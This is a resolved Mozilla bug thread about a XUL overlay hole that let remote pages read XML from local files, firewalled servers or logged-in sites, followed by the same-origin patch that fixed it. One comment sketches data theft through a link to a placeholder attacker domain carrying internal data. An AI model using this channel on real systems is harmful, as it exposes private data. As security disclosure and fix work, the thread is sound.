159450 - Need same origin checks for overlays

Status: RESOLVED FIXED

(Core :: XUL, defect)

Description

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

We need to add same-origin checks when loading overlays. IMHO a checkLoadURI
(which we don't have either AFAICT) isn't enough since the loaded data will be
inserted into the documents DOM and can therefor be read.

Comment 1

[David Hyatt]

Why would same origin checks be required for overlays? Do you mean one http overlay 
trying to load another http overlay?

Comment 2

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

yes, that or one http xulpage loading overlays from another http site or an
overlay on the local filesystem. This is a cumbersome, but still possible, way
of reading data from places where you shouldn't be allowd to.

Comment 3

[Robert O'Callahan (:roc) (email my personal email if necessary)]

So someone can read local files with this, by opening a XUL IFRAME which loads
an overlay from some local file URL? Sounds very bad.

Comment 4

[Christopher Blizzard (:blizzard)]

This is listed as a 1.2 blocker.  What's the status here?

Comment 5

[Asa Dotzler [:asa]]

Hyatt, we really want this for 1.2. Can you help us out?

Comment 6

[David Hyatt]

Actually they could only read local files if the merge of the overlay is 
successful, and even then they'd only be able to read the portions that 
successfully merged with the XUL document.

It sounds like can be fixed by adding a checkLoadURI call comparing the master 
doc's url to the overlay's url.

Comment 7

[Robert O'Callahan (:roc) (email my personal email if necessary)]

What happens when an overlay file is not found? Can someone use this to detect
the existence of certain kinds of files on the local file system by checking for
errors?

Comment 8

[Christopher Blizzard (:blizzard)]

We're trying to evaluate this for 1.2.  Is this serious or not?  The risk is
still unclear to my little mind.  Please use large, easy to read type with no
big words.

Comment 9

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

This bug makes it possible to read XML files from anywhere (including file://
and other webservers). However I think that the XML files must:
1. contain id attributes (fairly common)
2. use the XUL namespace (uncommon)

But I'm not sure that 2 is a requirement. 

Comment 10

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

oh, and we need to use checkSameOrigin since checkLoadURI allows other webservers 

Comment 11

[Mitchell Stoltz (not reading bugmail)]

Is it possible to get this fixed for 1.3a, next Tuesday?

Comment 12

[jag (Peter Annema)]

hyatt: we think this should be fixed, but I'd like your input on whether it
should be checkLoadURI or checkSameOrigin (disallow overlaying XUL from other
servers).

Comment 13

[Brian Ryner (not reading)]

-> me.

Comment 14

[Mitchell Stoltz (not reading bugmail)]

Can we get this fixed by 1.4 beta?

Comment 15

[Brian Ryner (not reading)]

I don't see any reason to disallow loading XUL overlays from another server. 
Does anyone have a good argument for that?

Comment 16

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Doesn't reading overlays from any server allow you to read a lot of xml-data
from any server. All you have to do is to set up an element with an id that you
are interested in and you'll get the entire subtree with that id cloned into
your document, allowing you read it using the DOM.

Comment 17

[jag (Peter Annema)]

My initial response was "if you can get it through overlays, you can get it
using telnet". But there's this thing about you loading some XUL document on
your machine inside a firewall, and then that XUL document has access to servers
inside the firewall, something the attacker (author of the XUL document outside
the firewall) doesn't have with telnet. Then all you need to do is get the
information back out (e.g. hook it off a link to
http://www.attackersdomain.com/getPage.cgi?your_internal_data_goes_here
returning some nice page)

Comment 18

[Brian Ryner (not reading)]

Attachment: patch

Loading non-chrome overlays has actually been broken for some time now.  This
patch fixes that and also adds the same-origin check.

Comment 19

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Exactly, this is the same reason why we dissallow loading files from other
servers using XMLHttpRequest, document.load, etc. There's also the issue that
you could get stuff from passwordprotected servers where the clients browser
will automatically log in, like banks and such.

Comment 20

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Comment on attachment 122238 [details] [diff] [review]
patch

don't you need to check for same-uri-ness even if the document is in the
xulcache?

Comment 21

[Brian Ryner (not reading)]

Attachment: testcase for cross-server overlay loading

This tries to load an overlay from http://brianryner.com/, which should fail.

Comment 22

[Brian Ryner (not reading)]

Note that trying to load the testcase will hang a build without this patch, due
to the brokenness of loading non-chrome overlays that I pointed out.

Comment 23

[Brian Ryner (not reading)]

The only thing that can be in the XUL cache is a chrome:// document; I don't see
why we'd care if you overlay that.

Comment 24

[Brian Ryner (not reading)]

Oh, but that does create an inconsistency, since the behavior would be different
depending on whether the overlay in question had previously been loaded.  New
patch coming up.

Comment 25

[Brian Ryner (not reading)]

Attachment: patch

Make the check independent of the XUL cache.  Also, removed an assertion that
is now impossible to trigger.

Comment 26

[Brian Ryner (not reading)]

Comment on attachment 122244 [details] [diff] [review]
patch

Sigh, this one has problems too.  We have to at least let chrome://foo/bar.xul
load chrome://bar/foo.xul as an overlay or lots of stuff breaks.

Comment 27

[Brian Ryner (not reading)]

Attachment: better patch

This patch uses the following method for determining whether an overlay is
allowed to load:

- Chrome documents can load overlays from anywhere
- Any document can load a chrome:// overlay
- Otherwise, the master document and overlay must have the same origin

Comment 28

[Ben Goodger (use ben at mozilla dot org for email)]

Comment on attachment 122250 [details] [diff] [review]
better patch

cool. sr=[e-mail]

Comment 29

[Mitchell Stoltz (not reading bugmail)]

Comment on attachment 122250 [details] [diff] [review]
better patch

Looks perfect. r=mstoltz.

 I'll take the liberty of requesting approval. Drivers: this patch fixes a hole
that could allow an attacker to read some XML files from within a firewall or
password-protected site. Since the security check we added makes an exception
for chrome (only nonchrome pages loading nonchrome overlays are checked), the
risk is low.

Comment 30

[Asa Dotzler [:asa]]

Comment on attachment 122250 [details] [diff] [review]
better patch

a=asa (on behalf of drivers) for checkin to 1.4b

Comment 31

[Brian Ryner (not reading)]

checked in.

Comment 32

[Daniel Veditz [:dveditz]]

Bugs published on the Known-vulnerabilities page long ago, removing confidential
flag.